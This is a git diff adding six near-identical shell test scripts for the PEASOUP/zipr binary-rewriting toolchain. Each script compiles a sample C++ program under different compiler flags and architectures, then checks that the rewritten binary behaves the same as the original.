diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..aaa484ebe425914ea2005e2818418ca94c83fb42
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..dc03bd6d2d20c9a5989b0420824a3acfc38cfb10
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O3.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..1634df7845c07b9db9f1111a66b6377c9f3cece0
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a56b664d0467aef9debe2b025c3c409d20afe6cd
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..21e2e4531bfbe9eba398fdb43c2209c45b107a00
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..bbacb741813f06c52a13664dfe763bc0378dd163
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
